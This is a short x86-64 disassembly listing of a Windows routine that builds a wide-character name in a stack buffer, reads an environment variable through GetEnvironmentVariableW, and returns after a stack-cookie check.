lea edi, [rax + 0x28]
test dl, dl
je 0x1401f4472
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x1401f441d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x1401f4410
cmp rcx, 1
jb 0x1401f44ca
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1401f4440
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.140207fe4
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x1401f4400
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x1401f44a3
lea rcx, [rsp + 0x80]
call fcn.14020b0b4
jmp 0x1401f44a5
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1401f8610
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.1401fcc70
int3